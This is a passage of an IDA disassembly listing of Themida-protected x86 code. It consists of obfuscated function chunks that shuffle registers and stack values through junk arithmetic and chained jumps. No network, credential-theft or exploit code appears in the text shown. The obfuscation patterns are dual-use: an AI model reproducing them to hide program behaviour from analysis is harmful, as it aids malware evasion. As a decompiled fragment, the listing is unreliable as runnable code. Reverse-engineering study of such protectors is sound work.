; END OF FUNCTION CHUNK	FOR sub_561541
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_575328


loc_574142:				; CODE XREF: sub_575328+23j
		inc	ebp
		inc	ebp
		push	ebp
		not	[esp+10h+var_10]
		pop	ebp
		shl	ebp, 7
		add	ebp, 16646969h
		jmp	loc_565194
; END OF FUNCTION CHUNK	FOR sub_575328
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_57354D


loc_574157:				; CODE XREF: sub_57354D-880Dj
		sub	ecx, 3070C27h
		mov	ebp, ecx
		pop	ecx
		shr	ebp, 3
		push	edi
		mov	edi, 77DB7115h
		xor	edi, 38FC116Fh
		sub	ebp, edi
		mov	edi, [esp+10h+var_10]
		add	esp, 4
		push	ebx
		mov	ebx, 0C037E8FFh
		jmp	loc_5726EB
; END OF FUNCTION CHUNK	FOR sub_57354D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_569193


loc_574185:				; CODE XREF: sub_569193+5788j
		add	ecx, 347B100Dh
		add	ecx, edi
		sub	ecx, 347B100Dh
		mov	edi, [esp+10h+var_10]
		add	esp, 4
		xchg	ecx, [esp+0Ch+var_C]
		pop	esp
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp+0Ch+var_C]
		mov	esp, [esp+0Ch+var_C]
		or	eax, eax
		jz	loc_5749C3
		push	dword ptr [edi+1Ch]
		jmp	loc_56646D
; END OF FUNCTION CHUNK	FOR sub_569193
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_572DD7


loc_5741C1:				; CODE XREF: sub_572DD7+E44j
		mov	eax, [esp+4+var_4]
		jmp	loc_56C008
; END OF FUNCTION CHUNK	FOR sub_572DD7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_566C83


loc_5741C9:				; CODE XREF: sub_566C83-60ACj
		xchg	edx, [esp+4+var_4]
		pop	esp
		or	ecx, ebx
		pop	ebx
		add	ecx, 0B04E113Bh
		jmp	loc_5629E1
; END OF FUNCTION CHUNK	FOR sub_566C83
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56CD13


loc_5741DB:				; CODE XREF: sub_56CD13-2D02j
		mov	edx, 4
		mov	ecx, edx
		pop	edx
		jmp	loc_57482B
; END OF FUNCTION CHUNK	FOR sub_56CD13
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_57109F


loc_5741E8:				; CODE XREF: sub_57109F-10EFCj
		add	ebp, 4
		push	esi
		mov	esi, 42B13E12h
		or	esi, 46F87B81h
		dec	esi
		jmp	loc_56A338
; END OF FUNCTION CHUNK	FOR sub_57109F
; ---------------------------------------------------------------------------


loc_574200:				; CODE XREF: Themida_:00561182j
		push	eax
		jmp	loc_570B18
; ---------------------------------------------------------------------------


loc_574206:				; CODE XREF: Themida_:00569653j
		sub	esi, 0BD08E2E4h
		sub	ecx, esi
		pop	esi
		push	edx
		mov	edx, 3B262869h
		neg	edx
		push	eax
		mov	eax, 3AD56995h
		xor	eax, 2CDC6AAEh
		add	edx, eax
		jmp	loc_56E202

; =============== S U B	R O U T	I N E =======================================



sub_574229	proc near		; DATA XREF: Themida_:0055FF44o

; FUNCTION CHUNK AT 005610C3 SIZE 0000000B BYTES

		lodsb
		sub	al, 0EAh
		jmp	loc_5610C3
sub_574229	endp

; ---------------------------------------------------------------------------


loc_574231:				; CODE XREF: Themida_:0056B17Ej
		sub	ecx, 4132736Eh
		add	ecx, 11CF052Ah
		pop	eax
		push	edi
		mov	edi, 4EB60D73h
		jmp	loc_562839
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56638C


loc_574249:				; CODE XREF: sub_56638C+C649j
		push	esi
		mov	esi, 494471A7h
		mov	edx, esi
		pop	esi
		sub	edx, 494471A3h
		add	ebx, edx
		jmp	loc_574FE4
; END OF FUNCTION CHUNK	FOR sub_56638C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_574AF3


loc_57425F:				; CODE XREF: sub_574AF3-42B0j
		add	[esp+4+var_4], 4
		mov	ecx, [esp+4+var_4]
		add	esp, 4
		push	ebp
		jmp	loc_56812B
; END OF FUNCTION CHUNK	FOR sub_574AF3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_568764


loc_57426F:				; CODE XREF: sub_568764+57CEj
		mov	esp, [esp+0]
		push	3107h
		mov	[esp-4+arg_0], ebx
		push	538Ah
		mov	[esp+0], edi
		jmp	loc_5632E0
; END OF FUNCTION CHUNK	FOR sub_568764

; =============== S U B	R O U T	I N E =======================================



sub_574287	proc near		; DATA XREF: Themida_:0055FDB0o

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00565FD0 SIZE 00000032 BYTES
; FUNCTION CHUNK AT 005678A4 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 00567E31 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 00569AFE SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0056A3C3 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0056EBAE SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0056EE96 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 005721A4 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 00575271 SIZE 00000013 BYTES

		push	dword ptr [esp+0]
		mov	eax, [esp+4+var_4]
		jmp	loc_56EBAE
sub_574287	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_570732


loc_574292:				; CODE XREF: sub_570732-3F4Cj
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp+0]
		mov	esp, [esp+0]
		or	eax, eax
		jz	loc_5614C4
		push	ebp
		jmp	sub_560276
; END OF FUNCTION CHUNK	FOR sub_570732
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56351E


loc_5742B1:				; CODE XREF: sub_56351E+F9AEj
		push	3BB3h
		jmp	loc_56371D
; END OF FUNCTION CHUNK	FOR sub_56351E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_571F6F


loc_5742BB:				; CODE XREF: sub_571F6F-F968j
		add	esp, 4
		sub	al, bh
		mov	ebx, [esp]
		add	esp, 4
		push	eax
		mov	ah, 7Eh
		shl	ah, 4
		push	ebx
		mov	bl, 7Ah
		jmp	loc_57002C
; END OF FUNCTION CHUNK	FOR sub_571F6F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_567D31


loc_5742D7:				; CODE XREF: sub_567D31+271Fj
		push	[esp+8+var_8]
		jmp	loc_5725D0
; END OF FUNCTION CHUNK	FOR sub_567D31
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56628B


loc_5742DF:				; CODE XREF: sub_56628B-3A69j
		sub	esi, 0B29B7FA6h
		sub	esp, 4
		jmp	loc_56A8F8
; END OF FUNCTION CHUNK	FOR sub_56628B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_563DCB


loc_5742ED:				; CODE XREF: sub_563DCB+B8FDj
		push	edi
		mov	edi, 4
		add	eax, edi
		pop	edi
		xchg	eax, [esp+2+var_4+2]
		pop	esp
		add	al, cl
		mov	ecx, [esp+0]
		jmp	sub_564BC5
; END OF FUNCTION CHUNK	FOR sub_563DCB

; =============== S U B	R O U T	I N E =======================================



sub_574304	proc near		; CODE XREF: sub_569193+71C8j

var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00560B30 SIZE 00000031 BYTES
; FUNCTION CHUNK AT 00560EB8 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00561167 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00561BAE SIZE 00000017 BYTES
; FUNCTION CHUNK AT 005633F7 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0056395A SIZE 00000019 BYTES
; FUNCTION CHUNK AT 005644FF SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00564AB3 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 005654CE SIZE 00000034 BYTES
; FUNCTION CHUNK AT 0056551F SIZE 0000001B BYTES
; FUNCTION CHUNK AT 0056564B SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00565734 SIZE 0000002D BYTES
; FUNCTION CHUNK AT 00565D36 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0056661F SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00566808 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 0056690B SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00566AB0 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 00566B26 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005675EF SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00567A7F SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00567BE6 SIZE 00000050 BYTES
; FUNCTION CHUNK AT 00568B4B SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00568FB0 SIZE 00000027 BYTES
; FUNCTION CHUNK AT 0056A69D SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0056A865 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0056AE9E SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0056B1F3 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0056B3E0 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0056C872 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0056D554 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0056D89C SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0056DE58 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0056E1AE SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0056F1B1 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 0056F9D1 SIZE 00000036 BYTES
; FUNCTION CHUNK AT 00570B84 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 005710B9 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0057142E SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00571A18 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00571C80 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00571DA1 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 005729B4 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 00572F17 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005734B3 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0057470E SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0057486F SIZE 00000027 BYTES
; FUNCTION CHUNK AT 00574AD6 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00574E2A SIZE 00000014 BYTES

		sub	esp, 4
		jmp	loc_56564B
sub_574304	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56FAE2


loc_57430C:				; CODE XREF: sub_56FAE2+293Fj
		mov	word ptr [esp-0Eh+arg_8+2], sp
		jmp	loc_56AA71
; END OF FUNCTION CHUNK	FOR sub_56FAE2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56616D


loc_574315:				; CODE XREF: sub_56616D+D31Fj
		push	dword ptr [esp+0]
		pop	eax
		push	esi
		mov	esi, esp
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp+8+var_8]
		mov	esp, [esp+8+var_8]
		jmp	loc_562212
; END OF FUNCTION CHUNK	FOR sub_56616D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56CC46


loc_574336:				; CODE XREF: sub_56CC46-C7DCj
		mov	edx, esp
		jmp	loc_56E082
; END OF FUNCTION CHUNK	FOR sub_56CC46
; ---------------------------------------------------------------------------


loc_57433D:				; CODE XREF: Themida_:00571E54j
		pop	edi
		jmp	loc_571ED9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_566B37


loc_574343:				; CODE XREF: sub_566B37-679Fj
		sub	esi, ecx
		pop	ecx
		jmp	loc_56518D
; END OF FUNCTION CHUNK	FOR sub_566B37
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5604FE


loc_57434B:				; CODE XREF: sub_5604FE+8CBj
		push	dword ptr [esp+0]
		push	[esp+4+var_4]
		push	[esp+8+var_8]
		pop	eax
		add	esp, 4
		push	eax
		jmp	loc_57542D
; END OF FUNCTION CHUNK	FOR sub_5604FE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56657A


loc_574361:				; CODE XREF: sub_56657A+720Ej
		add	ebp, 6266435Ah
		jmp	loc_5647EE
; END OF FUNCTION CHUNK	FOR sub_56657A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_560EA2


loc_57436C:				; CODE XREF: sub_560EA2+13F83j
		push	esi
		mov	esi, 682D61FAh
		add	eax, esi
		pop	esi
		pop	edx
		push	ecx
		push	edx
		mov	edx, 1FF550Fh
		dec	edx
		add	edx, 2A365281h
		sub	edx, 65B05395h
		push	ebp
		push	edi
		push	439B0378h
		jmp	loc_56EE17
; END OF FUNCTION CHUNK	FOR sub_560EA2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_572DD7


loc_574396:				; CODE XREF: sub_572DD7-D631j
		sub	dword ptr [esp+4], 63DB75D8h
		sub	[esp+4], eax
		jmp	loc_573C13
; END OF FUNCTION CHUNK	FOR sub_572DD7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5678CB


loc_5743A7:				; CODE XREF: sub_5678CB+D280j
		mov	esp, [esp+0Eh+var_E]
		mov	ch, bh
		mov	ebx, [esp+8+var_A+2]
		add	esp, 4
		sub	ch, 4Ch
		add	al, ch
		jmp	loc_56747C
; END OF FUNCTION CHUNK	FOR sub_5678CB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_563819


loc_5743BF:				; CODE XREF: sub_563819+EBCCj
		xchg	esi, [esp+0]
		pop	esp
		jmp	loc_570CAD
; END OF FUNCTION CHUNK	FOR sub_563819
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5750DE


loc_5743C8:				; CODE XREF: sub_5750DE-10F92j
		pop	ecx
		add	esp, 4
		pop	esi
		push	eax
		jmp	loc_565F66
; END OF FUNCTION CHUNK	FOR sub_5750DE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56CC46


loc_5743D3:				; CODE XREF: sub_56CC46-BA01j
		push	395Bh
		mov	[esp+0Ch+var_C], ebp
		mov	ebp, 31D42B4Bh
		sub	ebp, 2F853C21h
		jmp	loc_561767
; END OF FUNCTION CHUNK	FOR sub_56CC46
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56A61D


loc_5743EB:				; CODE XREF: sub_56A61D+25j
		mov	esp, [esp+4+var_4]
		jmp	loc_55FF9F
; END OF FUNCTION CHUNK	FOR sub_56A61D
; ---------------------------------------------------------------------------


loc_5743F3:				; CODE XREF: Themida_:0056C8C9j
		pop	dword ptr [esp]
		jmp	loc_5617BF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56513E


loc_5743FB:				; CODE XREF: sub_56513E-2896j
		add	ebp, 43071AE0h
		add	ebp, 0F68FD223h
		add	esi, ebp
		pop	ebp
		add	ebp, esi
		pop	esi
		jmp	sub_5750DE
; END OF FUNCTION CHUNK	FOR sub_56513E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_574FC9


loc_574412:				; CODE XREF: sub_574FC9-6325j
		add	ebx, edi
		sub	ebx, 371B6D13h
		mov	edi, [esp+0]
		add	esp, 4
		xor	ebx, [esp-4+arg_0]
		xor	[esp-4+arg_0], ebx
		xor	ebx, [esp-4+arg_0]
		mov	esp, [esp-4+arg_0]
		idiv	cl
		movzx	cx, ah
		push	small 6E0Ch
		mov	word ptr [esp-6+arg_0+2], cx
		movzx	cx, al
		push	cx
		pushf
		jmp	loc_55FF9F
; END OF FUNCTION CHUNK	FOR sub_574FC9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56AB51


loc_574446:				; CODE XREF: sub_56AB51+A818j
		mov	esi, [esp+0Ch+var_C]
		jmp	loc_56B96A
; END OF FUNCTION CHUNK	FOR sub_56AB51
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56306E


loc_57444E:				; CODE XREF: sub_56306E+4j
		push	73BAh
		mov	[esp+4+var_4], ecx
		push	esp
		pop	ecx
		sub	esp, 4
		mov	[esp+8+var_8], edx
		mov	edx, 4
		sub	ecx, 453474C5h
		push	edx
		mov	edx, 582C61ABh
		jmp	loc_56F1E9
; END OF FUNCTION CHUNK	FOR sub_56306E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_561418


loc_574477:				; CODE XREF: sub_561418+7A1Aj
		add	ebp, edi
		mov	edi, [esp+14h+var_14]
		jmp	loc_56CA20
; END OF FUNCTION CHUNK	FOR sub_561418
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56AEF2


loc_574481:				; CODE XREF: sub_56AEF2-1AFCj
		add	ebp, 4
		push	esi
		jmp	loc_56002E
; END OF FUNCTION CHUNK	FOR sub_56AEF2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_560457


loc_57448D:				; CODE XREF: sub_560457+B5B6j
		pop	ebp
		xchg	ebx, [esp+0]
		mov	esp, [esp+0]
		jmp	loc_55FF9F
; END OF FUNCTION CHUNK	FOR sub_560457
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_561418


loc_574499:				; CODE XREF: sub_561418-1121j
		mov	[esp+0], edx
		mov	edx, 63AA1D43h
		dec	edx
		inc	edx
		push	eax
		jmp	loc_567D5C
; END OF FUNCTION CHUNK	FOR sub_561418
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_572E16


loc_5744A9:				; CODE XREF: sub_572E16-109BBj
		mov	ecx, [esp+4+var_4]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp+8+var_8]
		pop	esp
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp+8+var_8]
		pop	esp
		mov	[esp+4+var_4], edi
		push	esp
		mov	edi, [esp+8+var_8]
		push	ebp
		sub	esp, 4
		mov	[esp+10h+var_10], esp
		add	[esp+10h+var_10], 4
		pop	ebp
		add	ebp, 4
		push	6365h
		mov	[esp+10h+var_10], ecx
		push	esi
		jmp	loc_56A3F9
; END OF FUNCTION CHUNK	FOR sub_572E16
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_57199D


loc_5744FC:				; CODE XREF: sub_57199D-9B82j
		dec	ebx
		xchg	eax, ebx
		jmp	loc_5607E9
; END OF FUNCTION CHUNK	FOR sub_57199D

; =============== S U B	R O U T	I N E =======================================



sub_574503	proc near		; DATA XREF: Themida_:0055FEE8o

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00560B93 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0056790A SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0056BBFA SIZE 0000001E BYTES
; FUNCTION CHUNK AT 0056D138 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0056F050 SIZE 00000026 BYTES
; FUNCTION CHUNK AT 00575210 SIZE 00000006 BYTES

		mov	cx, [esp+0]
		sub	esp, 4
		mov	[esp+4+var_4], ebx
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_56F050
sub_574503	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_574F16


loc_57451A:				; CODE XREF: sub_574F16-4802j
		push	16B8h
		mov	[esp+10h+var_12+2], ecx
		mov	ch, 9Bh
		sub	dl, 0F6h
		jmp	loc_567358
; END OF FUNCTION CHUNK	FOR sub_574F16
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_565849


loc_57452C:				; CODE XREF: sub_565849+B04Aj
		sub	edx, 181377C0h
		push	eax
		mov	eax, 35D12159h
		neg	eax
		sub	eax, 4F7FAC22h
		add	edx, eax
		pop	eax
		mov	ebx, [esp+0]
		add	esp, 4
		push	ebx
		mov	ebx, 2
		add	edx, ebx
		pop	ebx
		push	edx
		push	[esp+arg_0]
		mov	edx, [esp+4+var_4]
		jmp	loc_571E59
; END OF FUNCTION CHUNK	FOR sub_565849
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56616D


loc_57455E:				; CODE XREF: sub_56616D+819Ej
		add	dword ptr [esp+4], 63D85901h
		add	[esp+4], ecx
		sub	dword ptr [esp+4], 63D85901h
		push	[esp-14h+arg_10]
		pop	ecx
		jmp	loc_571003
; END OF FUNCTION CHUNK	FOR sub_56616D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56AEF2


loc_57457B:				; CODE XREF: sub_56AEF2-A24Bj
		pop	esp
		push	edx
		push	4
		pop	edx
		add	ebx, edx
		push	[esp-4+arg_0]
		pop	edx
		push	3D46h
		jmp	loc_56EB7E
; END OF FUNCTION CHUNK	FOR sub_56AEF2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_561027


loc_574593:				; CODE XREF: sub_561027+11A0Dj
		mov	esi, 1
		sub	esp, 4
		mov	[esp+0], edx
		push	eax
		mov	eax, 24h
		push	eax
		push	eax
		mov	eax, 1CE46C0Ah
		sub	[esp+0Ch+var_8], eax
		pop	eax
		jmp	loc_560D16
; END OF FUNCTION CHUNK	FOR sub_561027

; =============== S U B	R O U T	I N E =======================================



sub_5745B5	proc near		; DATA XREF: Themida_:0055FD28o

var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00560A58 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00561623 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 00565472 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0056A13E SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0056CACE SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0056F244 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0056FCC4 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0056FF8A SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005732ED SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0057490F SIZE 0000000D BYTES

		lodsb
		jmp	loc_560A58
sub_5745B5	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_57354D


loc_5745BB:				; CODE XREF: sub_57354D-1D38j
		push	eax
		jmp	loc_56D8FE
; END OF FUNCTION CHUNK	FOR sub_57354D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56FB8A


loc_5745C1:				; CODE XREF: sub_56FB8A-96C8j
		mov	ebx, [esp+4+var_4]
		add	esp, 4
		jmp	loc_56BB59
; END OF FUNCTION CHUNK	FOR sub_56FB8A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_569FB8


loc_5745CF:				; CODE XREF: sub_569FB8+542Fj
		mov	esp, [esp+0Eh+var_E]
		add	al, bl
		mov	bx, [esp+2+var_2]
		jmp	loc_561316
; END OF FUNCTION CHUNK	FOR sub_569FB8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5685B2


loc_5745DD:				; CODE XREF: sub_5685B2+9958j
		push	dword ptr [esp+4]
		pop	edx
		pop	[esp+4+var_4]
		jmp	loc_569467
; END OF FUNCTION CHUNK	FOR sub_5685B2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56AB5E


loc_5745EA:				; CODE XREF: sub_56AB5E-7128j
		mov	ebx, [esp+8+var_8]
		jmp	loc_562888
; END OF FUNCTION CHUNK	FOR sub_56AB5E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_564D26


loc_5745F2:				; CODE XREF: sub_564D26+EC1Aj
		pop	ecx
		xor	edx, [esp+0]
		xor	[esp+0], edx
		jmp	loc_574C3A
; END OF FUNCTION CHUNK	FOR sub_564D26
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_563A7F


loc_5745FE:				; CODE XREF: sub_563A7F+6DE1j
		mov	edx, [esp+10h+var_10]
		jmp	loc_56BFF3
; END OF FUNCTION CHUNK	FOR sub_563A7F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5634AF


loc_574606:				; CODE XREF: sub_5634AF-806j
		add	eax, 0B550F03Bh
		mov	ebp, eax
		pop	eax
		dec	ebp
		sub	ebp, 1
		xchg	eax, ebp
		not	eax
		xchg	eax, ebp
		add	ebp, 419D8D03h
		add	edx, ebp
		pop	ebp
		sub	edx, 6B1D33D1h
		jmp	loc_56380C
; END OF FUNCTION CHUNK	FOR sub_5634AF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56A7FB


loc_57462D:				; CODE XREF: sub_56A7FB+8265j
		dec	bl
		or	bl, 0E1h
		push	cx
		mov	ch, bl
		not	ch
		mov	bl, ch
		pop	cx
		xchg	dl, bl
		xor	dl, bl
		xor	bl, dl
		xor	dl, bl
		neg	bl
		xchg	bl, dl
		xchg	dl, bl
		push	eax
		sub	esp, 4
		jmp	loc_561A33
; END OF FUNCTION CHUNK	FOR sub_56A7FB

; =============== S U B	R O U T	I N E =======================================



sub_574656	proc near		; CODE XREF: sub_563BCC+C106j

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00561566 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 00563BC0 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00563E44 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 005640F7 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0056451C SIZE 00000016 BYTES
; FUNCTION CHUNK AT 005649E5 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 00565290 SIZE 00000025 BYTES
; FUNCTION CHUNK AT 00566046 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0056689A SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00567598 SIZE 0000002E BYTES
; FUNCTION CHUNK AT 005676E2 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 0056776A SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00567812 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 00567DA0 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00568167 SIZE 00000046 BYTES
; FUNCTION CHUNK AT 00568716 SIZE 00000021 BYTES
; FUNCTION CHUNK AT 00568C19 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0056922A SIZE 0000001D BYTES
; FUNCTION CHUNK AT 00569731 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00569BE7 SIZE 00000036 BYTES
; FUNCTION CHUNK AT 0056A9C6 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0056B21B SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0056B25B SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0056C9D7 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0056CF9B SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0056D060 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0056D1BD SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0056D82D SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0056E0A5 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0056E6A2 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0056ED3F SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0056F08C SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0056F498 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 0056FFFF SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005707B3 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00571294 SIZE 0000002F BYTES
; FUNCTION CHUNK AT 005717E9 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00571C8B SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00573414 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00573A16 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 00573E66 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 00574A19 SIZE 00000008 BYTES

		push	ebp
		jmp	loc_56F498
sub_574656	endp

; ---------------------------------------------------------------------------


loc_57465C:				; CODE XREF: Themida_:0055FFB3j
		add	ecx, ebx
		mov	ebx, [esp]
		add	esp, 4
		push	eax
		mov	eax, 2
		add	ecx, eax
		pop	eax
		jmp	loc_5712FA
; ---------------------------------------------------------------------------


loc_574672:				; CODE XREF: Themida_:00574083j
		sub	[esp], ebp
		sub	dword ptr [esp], 16887CAAh
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		not	ebp
		sub	ebp, 0B2CDC8BEh
		add	eax, ebp
		pop	ebp
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		jmp	loc_56C8B0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_57549C


